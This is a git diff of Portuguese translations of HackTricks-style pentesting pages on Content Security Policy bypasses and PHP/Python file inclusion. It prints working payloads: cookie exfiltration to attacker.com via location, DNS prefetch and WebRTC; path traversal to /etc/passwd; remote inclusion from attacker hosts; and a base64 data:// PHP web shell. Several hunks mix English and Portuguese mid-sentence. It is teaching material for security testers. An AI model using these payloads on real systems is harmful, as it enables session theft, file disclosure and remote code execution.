@@ -# Content Security Policy (CSP) Bypass +# Política de Segurança de Conteúdo (CSP) Bypass {{#include ../../banners/hacktricks-training.md}} ## O que é CSP -Content Security Policy (CSP) é reconhecido como uma tecnologia de navegador, principalmente voltada para **proteger contra ataques como cross-site scripting (XSS)**. Funciona definindo e detalhando caminhos e fontes a partir dos quais recursos podem ser carregados de forma segura pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e a execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código em string através de funções como `eval`, `setTimeout` ou `setInterval`. +Content Security Policy (CSP) é reconhecida como uma tecnologia do browser, destinada principalmente a **proteger contra ataques como cross-site scripting (XSS)**. Ela funciona definindo e detalhando caminhos e fontes de onde recursos podem ser carregados de forma segura pelo navegador. Esses recursos abrangem uma variedade de elementos como imagens, frames e JavaScript. Por exemplo, uma policy pode permitir o carregamento e execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código em string através de funções como `eval`, `setTimeout`, ou `setInterval`. -A implementação do CSP é realizada através de **cabeçalhos de resposta** ou incorporando **elementos meta na página HTML**. Seguindo essa política, os navegadores aplicam proativamente essas estipulações e bloqueiam imediatamente quaisquer violações detectadas. +A implementação do CSP é feita através de **cabeçalhos de resposta** ou pela inclusão de **elementos meta na página HTML**. Seguindo essa política, os navegadores aplicam proativamente essas disposições e bloqueiam imediatamente quaisquer violações detectadas. - Implementado via cabeçalho de resposta: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` -- Implementado via tag meta: +- Implementado via meta tag: ```xml ``` -### Headers +### Cabeçalhos -CSP pode ser aplicado ou monitorado usando esses cabeçalhos: +CSP pode ser aplicado ou monitorado usando estes cabeçalhos: -- `Content-Security-Policy`: Aplica o CSP; o navegador bloqueia quaisquer violações. -- `Content-Security-Policy-Report-Only`: Usado para monitoramento; relata violações sem bloqueá-las. Ideal para testes em ambientes de pré-produção. +- `Content-Security-Policy`: Aplica a CSP; o navegador bloqueia quaisquer violações. +- `Content-Security-Policy-Report-Only`: Usado para monitoramento; reporta violações sem bloqueá-las. Ideal para testes em ambientes de pré-produção. ### Definindo Recursos -CSP restringe as origens para carregar tanto conteúdo ativo quanto passivo, controlando aspectos como a execução de JavaScript inline e o uso de `eval()`. Um exemplo de política é: +CSP restringe as origens para o carregamento de conteúdo ativo e passivo, controlando aspectos como a execução de JavaScript inline e o uso de `eval()`. Um exemplo de política é: ```bash default-src 'none'; img-src 'self'; @@ -37,40 +37,40 @@ frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` -### Diretrizes +### Diretivas - **script-src**: Permite fontes específicas para JavaScript, incluindo URLs, scripts inline e scripts acionados por manipuladores de eventos ou folhas de estilo XSLT. -- **default-src**: Define uma política padrão para buscar recursos quando diretrizes de busca específicas estão ausentes. -- **child-src**: Especifica recursos permitidos para trabalhadores da web e conteúdos de quadros incorporados. +- **default-src**: Define uma política padrão para busca de recursos quando diretivas específicas de fetch estão ausentes. +- **child-src**: Especifica recursos permitidos para web workers e conteúdos de frames embutidos. - **connect-src**: Restringe URLs que podem ser carregadas usando interfaces como fetch, WebSocket, XMLHttpRequest. -- **frame-src**: Restringe URLs para quadros. -- **frame-ancestors**: Especifica quais fontes podem incorporar a página atual, aplicável a elementos como ``, ` // The bot will load an URL with the payload @@ -546,24 +545,24 @@ console.log(prefix) run() ``` -### Via Bookmarklets +### Por Bookmarklets -Este ataque implicaria alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, ao ser arrastado e solto ou clicado, seria executado no contexto da janela web atual, **contornando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens. +Esse ataque implicaria alguma engenharia social em que o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Esse bookmarklet conteria código **javascript malicioso** que, quando arrastado e solto ou clicado, seria executado no contexto da janela web atual, **burlando o CSP e permitindo roubar informações sensíveis** tais como cookies ou tokens. -Para mais informações [**ver o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). +For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). -### Bypass de CSP restringindo o CSP +### CSP bypass ao restringir CSP -Em [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é contornado ao injetar dentro de um iframe permitido um CSP mais restritivo que não permitia carregar um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering** permitiu **abusar de um script diferente para carregar um script arbitrário**. +In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**. -Você pode **restringir um CSP de um Iframe** com o **atributo `csp`**: +Você pode **restringir o CSP de um iframe** com o atributo **`csp`**: ```html ``` -Em [**este writeup de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível, através de **injeção de HTML**, **restringir** mais um **CSP**, de modo que um script que impedia CSTI foi desativado e, portanto, a **vulnerabilidade se tornou explorável.**\ -O CSP pode ser tornado mais restritivo usando **tags meta HTML** e scripts inline podem ser desativados **removendo** a **entrada** que permite seu **nonce** e **habilitando scripts inline específicos via sha**: +Em [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível via **HTML injection** **restringir** ainda mais uma **CSP** de modo que um script que impedia CSTI foi desabilitado e, portanto, a **vulnerability became exploitable.**\ +A **CSP** pode ser tornada mais restritiva usando **HTML meta tags** e inline scripts podem ser desabilitados **removendo** a **entrada** que permite seu **nonce** e **enable specific inline script via sha**: ```html ``` -### JS exfiltration with Content-Security-Policy-Report-Only +### JS exfiltration com Content-Security-Policy-Report-Only -Se você conseguir fazer o servidor responder com o cabeçalho **`Content-Security-Policy-Report-Only`** com um **valor controlado por você** (talvez devido a um CRLF), você poderia direcioná-lo para o seu servidor e se você **envolver** o **conteúdo JS** que deseja exfiltrar com **`` note que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque SOME** através do endpoint **callback** **vulnerável** que **bypassa o CSP** para dar mais privilégios a um usuário, instalar um novo plugin...\ -Para mais informações sobre como realizar esse ataque, consulte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) +Um atacante pode abusar desse endpoint para **gerar um ataque SOME** contra WordPress e **inseri-lo** dentro de `` observe que este **script** será **carregado** porque é **allowed by 'self'**. Além disso, e porque WordPress está instalado, um atacante pode abusar do **SOME attack** através do **vulnerable** **callback** endpoint que **bypasses the CSP** para conceder mais privilégios a um usuário, instalar um novo plugin...\ +For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## CSP Exfiltration Bypasses -Se houver um CSP rigoroso que não permite que você **interaja com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar as informações. +Se houver uma CSP estrita que não permite que você **interagir com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar a informação. ### Location -Você poderia apenas atualizar a localização para enviar ao servidor do atacante as informações secretas: +You could just update the location to send to the attacker's server the secret information: ```javascript var sessionid = document.cookie.split("=")[1] + "." document.location = "https://attacker.com/?" + sessionid ``` ### Meta tag -Você pode redirecionar injetando uma meta tag (isso é apenas um redirecionamento, isso não vazará conteúdo) +Você pode redirecionar injetando uma meta tag (isso é apenas um redirecionamento, isso não vai leak conteúdo) ```html ``` ### DNS Prefetch -Para carregar páginas mais rapidamente, os navegadores vão pré-resolver nomes de host em endereços IP e armazená-los em cache para uso posterior.\ -Você pode indicar a um navegador para pré-resolver um nome de host com: `` +Para carregar páginas mais rápido, os navegadores vão pré-resolver nomes de host em endereços IP e armazená-los em cache para uso posterior.\ +Você pode instruir um navegador a pré-resolver um nome de host com: `` -Você poderia abusar desse comportamento para **exfiltrar informações sensíveis via solicitações DNS**: +Você poderia abusar desse comportamento para **exfiltrate sensitive information via DNS requests**: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] @@ -680,13 +695,13 @@ Para evitar que isso aconteça, o servidor pode enviar o cabeçalho HTTP: X-DNS-Prefetch-Control: off ``` > [!TIP] -> Aparentemente, essa técnica não funciona em navegadores sem cabeça (bots) +> Aparentemente, esta técnica não funciona em headless browsers (bots) ### WebRTC -Em várias páginas, você pode ler que **WebRTC não verifica a política `connect-src`** do CSP. +Em várias páginas você pode ler que **WebRTC não verifica a política `connect-src` do CSP**. -Na verdade, você pode _leak_ informações usando uma _solicitação DNS_. Confira este código: +Na verdade você pode _leak_ informações usando um _DNS request_. Confira este código: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) @@ -708,7 +723,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ### CredentialsContainer -O popup de credenciais envia uma solicitação DNS para o iconURL sem ser restrito pela página. Ele funciona apenas em um contexto seguro (HTTPS) ou no localhost. +O popup de credenciais envia uma requisição DNS para o iconURL sem ser restringido pela página. Só funciona em um contexto seguro (HTTPS) ou em localhost. ```javascript navigator.credentials.store( new FederatedCredential({ @@ -719,12 +734,12 @@ iconURL:"https:"+your_data+"example.com" }) ) ``` -## Verificando Políticas CSP Online +## Verificando políticas CSP online -- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) +- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com/) - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) -## Criando CSP Automaticamente +## Criando CSP automaticamente [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) @@ -738,6 +753,7 @@ iconURL:"https:"+your_data+"example.com" - [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) - [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) ​ diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index f323de91d..660f98aa6 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,22 +4,22 @@ ## File Inclusion -**Remote File Inclusion (RFI):** O arquivo é carregado de um servidor remoto (Melhor: você pode escrever o código e o servidor irá executá-lo). Em php isto é **desabilitado** por padrão (**allow_url_include**).\ +**Remote File Inclusion (RFI):** O arquivo é carregado a partir de um servidor remoto (Melhor: você pode escrever o código e o servidor irá executá-lo). Em php isto está **desativado** por padrão (**allow_url_include**).\ **Local File Inclusion (LFI):** O servidor carrega um arquivo local. -A vulnerabilidade ocorre quando o usuário pode, de alguma forma, controlar o arquivo que será carregado pelo servidor. +A vulnerabilidade ocorre quando o usuário consegue controlar de alguma forma qual arquivo será carregado pelo servidor. -Vulnerable **PHP functions**: require, require_once, include, include_once +Funções **PHP** vulneráveis: require, require_once, include, include_once Uma ferramenta interessante para explorar essa vulnerabilidade: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) -## Blind - Interesting - LFI2RCE files +## Blind - Interessantes - LFI2RCE arquivos ```python wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ ``` ### **Linux** -**Misturando várias \*nix listas de LFI e adicionando mais caminhos, criei esta:** +**Misturando várias listas LFI de \*nix e adicionando mais caminhos, eu criei esta:** {{#ref}} @@ -29,7 +29,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion Tente também trocar `/` por `\`\ Tente também adicionar `../../../../../` -A lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) +Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** @@ -43,19 +43,19 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion Tente também trocar `/` por `\`\ Tente também remover `C:/` e adicionar `../../../../../` -A lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) +Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** -Confira a lista de LFI do Linux. +Consulte a lista LFI de Linux. ## Basic LFI and bypasses -Todos os exemplos são para Local File Inclusion mas poderiam ser aplicados também a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](). +All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` -### traversal sequências removidas não recursivamente +### traversal sequences removidos não recursivamente ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd @@ -63,11 +63,11 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -Bypass para evitar que sejam acrescentados mais caracteres ao final da string fornecida (bypass de: $\_GET\['param']."php") +Bypass a adição de caracteres extras ao final da string fornecida (bypass of: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` -Isto está **resolvido desde o PHP 5.4** +Isso está **corrigido desde o PHP 5.4** ### **Codificação** @@ -84,36 +84,36 @@ Talvez o back-end esteja verificando o caminho da pasta: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` -### Explorando diretórios do sistema de arquivos em um servidor +### Explorando Diretórios do Sistema de Arquivos em um Servidor -O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo segue um método detalhado para alcançar isso: +O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para alcançar isso: -1. **Determine a profundidade do diretório:** Determine a profundidade do seu diretório atual obtendo com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três: +1. **Determinar Profundidade do Diretório:** Determine a profundidade do seu diretório atual obtendo com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Sondar pastas:** Anexe o nome da pasta suspeita (por exemplo, `private`) à URL, então navegue de volta para `/etc/passwd`. O nível adicional de diretório requer incrementar a profundidade em uma unidade: +2. **Probe for Folders:** Anexe o nome da pasta suspeita (por exemplo, `private`) ao URL e, em seguida, navegue de volta para `/etc/passwd`. O nível adicional de diretório requer incrementar a profundidade em uma unidade: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` -3. **Interpret the Outcomes:** A resposta do servidor indica se a pasta existe: +3. **Interpretar os resultados:** A resposta do servidor indica se a pasta existe: - **Erro / Sem saída:** A pasta `private` provavelmente não existe no local especificado. - **Conteúdo de `/etc/passwd`:** A presença da pasta `private` é confirmada. -4. **Exploração Recursiva:** As pastas descobertas podem ser investigadas mais a fundo em busca de subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI). +4. **Exploração recursiva:** Pastas descobertas podem ser investigadas mais a fundo para subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI). -Para explorar diretórios em locais diferentes do sistema de arquivos, ajuste o payload de acordo. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual está em uma profundidade de 3), use: +Para explorar diretórios em diferentes locais do sistema de arquivos, ajuste o payload de acordo. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual está em uma profundidade de 3), use: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation é um método empregado para manipular caminhos de arquivo em aplicações web. É frequentemente usado para acessar arquivos restritos contornando certas medidas de segurança que adicionam caracteres adicionais ao final dos caminhos de arquivo. O objetivo é criar um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado. +Path truncation é um método empregado para manipular caminhos de arquivo em aplicações web. É frequentemente usado para acessar arquivos restritos contornando certas medidas de segurança que anexam caracteres adicionais ao final dos caminhos de arquivo. O objetivo é construir um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado. -No PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo: +Em PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo: -- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` são todas tratadas como o mesmo caminho. -- Quando os últimos 6 caracteres são `passwd`, acrescentar uma `/` (fazendo `passwd/`) não altera o arquivo alvo. -- Da mesma forma, se `.php` é anexado a um caminho de arquivo (como `shellcode.php`), adicionar um `/.` no final não altera o arquivo acessado. +- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` são tratados como o mesmo caminho. +- Quando os últimos 6 caracteres são `passwd`, adicionar um `/` (tornando `passwd/`) não altera o arquivo alvo. +- De forma semelhante, se `.php` é anexado a um caminho de arquivo (como `shellcode.php`), adicionar um `/.` no final não alterará o arquivo acessado. Os exemplos fornecidos demonstram como utilizar path truncation para acessar `/etc/passwd`, um alvo comum devido ao seu conteúdo sensível (informações de contas de usuário): ``` @@ -125,13 +125,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -Nesses cenários, o número de traversals necessários pode ser cerca de 2027, mas esse número pode variar conforme a configuração do servidor. +Nesses cenários, o número de traversals necessários pode ser em torno de 2027, mas esse número pode variar com base na configuração do servidor. -- **Using Dot Segments and Additional Characters**: Sequências de traversal (`../`) combinadas com segmentos extras de ponto e caracteres podem ser usadas para navegar pelo sistema de arquivos, efetivamente ignorando strings anexadas pelo servidor. -- **Determining the Required Number of Traversals**: Por tentativa e erro, é possível descobrir o número preciso de sequências `../` necessárias para navegar até o diretório raiz e então para `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam neutralizadas, mas o caminho desejado (`/etc/passwd`) permaneça intacto. -- **Starting with a Fake Directory**: É prática comum começar o caminho com um diretório inexistente (como `a/`). Esta técnica é usada como medida de precaução ou para cumprir os requisitos da lógica de análise de caminhos do servidor. +- **Usando Dot Segments and Additional Characters**: Sequências de traversal (`../`) combinadas com segmentos adicionais de ponto e caracteres podem ser usadas para navegar no sistema de arquivos, efetivamente ignorando strings anexadas pelo servidor. +- **Determining the Required Number of Traversals**: Por tentativa e erro, é possível encontrar o número preciso de sequências `../` necessárias para navegar até o diretório raiz e então para `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam anuladas, mas o caminho desejado (`/etc/passwd`) permaneça intacto. +- **Starting with a Fake Directory**: É prática comum começar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como medida de precaução ou para satisfazer os requisitos da lógica de parsing de caminhos do servidor. -Ao empregar técnicas de truncamento de caminho, é crucial entender o comportamento de análise de caminhos do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes costumam ser necessários para encontrar o método mais eficaz. +When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method. **This vulnerability was corrected in PHP 5.3.** @@ -145,23 +145,23 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -Em php isso está desativado por padrão porque **`allow_url_include`** está **Off.** Ele precisa estar **On** para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE: +No php isso está desabilitado por padrão porque **`allow_url_include`** é **Off.** Isso precisa estar **On** para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -Se por algum motivo **`allow_url_include`** estiver **On**, mas o PHP estiver filtrando o acesso a páginas externas, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você poderia usar, por exemplo, o protocolo data com base64 para decodificar um código PHP em b64 e obter RCE: +Se por algum motivo **`allow_url_include`** estiver **On**, mas o PHP estiver **filtrando** o acesso a páginas externas, [de acordo com este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você pode usar, por exemplo, o data protocol com base64 para decodificar um código PHP b64 e egt RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> No código anterior, o `+.txt` final foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string acaba com isso e após o b64 decode essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado). +> No código anterior, o `+.txt` final foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string termina com isso e, após o b64 decode, essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado). Outro exemplo **não usando o protocolo `php://`** seria: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` -## Python Elemento raiz +## Elemento root em Python Em Python, em um código como este: ```python @@ -173,17 +173,17 @@ Se o usuário passar um **caminho absoluto** para **`file_name`**, o **caminho a os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` -Este é o comportamento pretendido de acordo com [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): +É o comportamento intencional de acordo com [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): > Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto. -## Java Listagem de diretórios +## Java Listar Diretórios -Parece que se você tiver um Path Traversal em Java e você **pedir um diretório** em vez de um arquivo, **uma listagem do diretório é retornada**. Isso não acontecerá em outras linguagens (pelo que eu saiba). +Parece que se você tiver um Path Traversal em Java e você **pedir por um diretório** em vez de um arquivo, uma **listagem do diretório é retornada**. Isso não acontecerá em outras linguagens (afaik). ## Top 25 parâmetros -Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a local file inclusion (LFI) (from [link](https://twitter.com/trbughunters/status/1279768631845494787)): +Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a local file inclusion (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -211,38 +211,38 @@ Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a lo ?mod={payload} ?conf={payload} ``` -## LFI / RFI usando wrappers e protocolos do PHP +## LFI / RFI usando PHP wrappers & protocols ### php://filter -Os filtros do PHP permitem executar operações básicas de **modificação nos dados** antes de serem lidos ou gravados. Existem 5 categorias de filtros: +PHP filters permitem realizar operações básicas de **modificação nos dados** antes que sejam lidos ou escritos. Existem 5 categorias de filtros: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` - `string.strip_tags`: Remove tags dos dados (tudo entre os caracteres "<" e ">") -- Observe que esse filtro desapareceu das versões modernas do PHP +- Note que este filtro desapareceu nas versões modernas do PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Transforma para uma codificação diferente (`convert.iconv..`). Para obter a **lista de todas as codificações** suportadas, execute no console: `iconv -l` +- `convert.iconv.*` : Transforma para uma codificação diferente(`convert.iconv..`). Para obter a **lista de todas as codificações** suportadas, execute no console: `iconv -l` > [!WARNING] -> Abusando do filtro de conversão `convert.iconv.*` você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer com que uma função como include processe texto arbitrário. Para mais informações veja [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). +> Abusando do filtro de conversão `convert.iconv.*` você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer com que uma função como include processe texto arbitrário. Para mais informações, veja [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: Comprime o conteúdo (useful if exfiltrating a lot of info) +- `zlib.deflate`: Comprime o conteúdo (útil se exfiltrando muita informação) - `zlib.inflate`: Descomprime os dados - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) -- `mcrypt.*` : Obsoleto -- `mdecrypt.*` : Obsoleto -- Other Filters -- Ao executar em php `var_dump(stream_get_filters());` você pode encontrar alguns **filtros inesperados**: +- `mcrypt.*` : Deprecated +- `mdecrypt.*` : Deprecated +- Outros filtros +- Ao executar em php `var_dump(stream_get_filters());` você pode encontrar um par de **filtros inesperados**: - `consumed` -- `dechunk`: inverte a codificação HTTP chunked +- `dechunk`: reverte HTTP chunked encoding - `convert.*` ```php # String Filters @@ -273,37 +273,37 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the > [!WARNING] > A parte "php://filter" não diferencia maiúsculas de minúsculas -### Usando php filters como oráculo para ler arquivos arbitrários +### Usando php filters como oracle para ler arquivos arbitrários -[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem que a saída seja devolvida pelo servidor. Essa técnica baseia-se em uma **boolean exfiltration of the file (char by char) using php filters** como oráculo. Isso porque php filters podem ser usados para tornar um texto grande o suficiente para fazer o php lançar uma exceção. +[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem que a saída seja devolvida pelo servidor. Essa técnica baseia-se em uma **boolean exfiltration of the file (char by char) using php filters** como oracle. Isso porque php filters podem ser usados para aumentar um texto o suficiente para fazer o php lançar uma exceção. -No post original você pode encontrar uma explicação detalhada da técnica, mas aqui vai um resumo rápido: +No post original você encontra uma explicação detalhada da técnica, mas aqui vai um resumo rápido: -- Use the codec **`UCS-4LE`** para deixar o caractere inicial do texto no começo e fazer o tamanho da string aumentar exponencialmente. -- Isso será usado para gerar um **texto tão grande quando a letra inicial for adivinhada corretamente** que o php disparará um **erro** -- O filtro **dechunk** irá **remover tudo se o primeiro caractere não for hexadecimal**, então podemos saber se o primeiro caractere é hex. -- Isso, combinado com o anterior (e outros filtros dependendo da letra testada), nos permitirá adivinhar uma letra no início do texto observando quando aplicamos transformações suficientes para que não seja mais um caractere hexadecimal. Porque se for hex, dechunk não o removerá e a bomba inicial fará o php gerar um erro. -- O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então após esse codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 vezes esse codec a->b->c->d->e->f->g a letra deixa de ser um caractere hexadecimal; portanto o dechunk não a apaga e o erro do php é acionado porque ela é multiplicada com a bomba inicial. +- Use o codec **`UCS-4LE`** para deixar o caractere inicial do texto no começo e fazer o tamanho da string crescer exponencialmente. +- Isso será usado para gerar um **text so big when the initial letter is guessed correctly** que fará o php disparar um **erro**. +- O filtro **dechunk** vai **remover tudo se o primeiro char não for hexadecimal**, então podemos saber se o primeiro char é hex. +- Isso, combinado com o anterior (e other filters dependendo da letra testada), permitirá advinhar uma letra no início do texto observando quando aplicamos transformações suficientes para que ela deixe de ser um caractere hexadecimal. Porque se for hex, dechunk não a deletará e a bomba inicial fará o php gerar um erro. +- O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então após esse codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 vezes esse codec a->b->c->d->e->f->g a letra deixa de ser um caractere hexadecimal; portanto dechunk não a deleta e o php error é acionado porque se multiplica com a bomba inicial. - Usando outras transformações como **rot13** no início é possível leak outros chars como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hex). -- Quando o caractere inicial é um número, é necessário codificá-lo em base64 e leak as 2 primeiras letras para 